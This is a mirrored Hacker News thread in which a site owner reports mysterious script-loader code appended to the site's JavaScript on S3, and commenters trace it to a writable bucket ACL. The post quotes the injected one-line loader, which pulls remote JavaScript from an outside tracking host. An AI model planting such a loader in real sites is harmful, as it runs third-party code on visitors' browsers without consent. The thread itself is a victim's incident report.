TE
TechEcho
Home24h TopNewestBestAskShowJobs
GitHubTwitter
Home

TechEcho

A tech news platform built with Next.js, providing global tech news and discussions.

GitHubTwitter

Home

HomeNewestBestAskShowJobs

Resources

HackerNews APIOriginal HackerNewsNext.js

© 2025 TechEcho. All rights reserved.

Ask HN: How did this tracking code get in my site's JavaScript?

18 pointsby benp84almost 8 years ago
I&#x27;ve just found this mysterious tracking code appended to the main JS file of my website:<p>;(function(d,s,u,t,h){d.q97W||(t=d.createElement(s),h=d.getElementsByTagName(s)[0],t.async=1,t.src=u,h.parentNode.insertBefore(t,h),d.q97W=1)})(document,&#x27;script&#x27;,&#x27;&#x2F;&#x2F;abtrcking.com&#x2F;a610b2befbce9062&#x2F;analytics.js?4cd018b7ad0ce698d02494542e8f6e70&#x27;);<p>Unfortunately the text was appended to a <i>gzipped</i> JavaScript file, which made it unreadable by browsers and effectively shut down my site.<p>The site is hosted on AWS and the JS file was pushed to S3 during deployment. I checked deployment logs and it definitely wasn&#x27;t in the file during deployment. Does this mean someone has hacked my AWS account or has my access keys?

3 comments

benp84almost 8 years ago
Well, I think I found the problem: despite my meticulously-defined bucket access policy, it turns out I had write permissions enabled for &quot;any authenticated AWS user&quot; in my access control list. I did not realize there were two separate pages for these settings.<p>I suppose it&#x27;s possible that the bot enabled this setting, but it was probably just me being sloppy :-&#x2F; The bot probably scans for poorly-protected S3 buckets that are referenced on websites.<p>I hope the next victims find this post in a Google search.
Can_Notalmost 8 years ago
Maybe, but is your site protected by SSL? It might be hard for most of us to help you without a link. &quot;abtrcking.com&quot; appears to be some HN user&#x27;s side project.
评论 #14456627 未加载
tarikozketalmost 8 years ago
Check your Chrome extensions. There is a high probability that one of them might be adding it to all .js files downloaded from websites.
评论 #14457714 未加载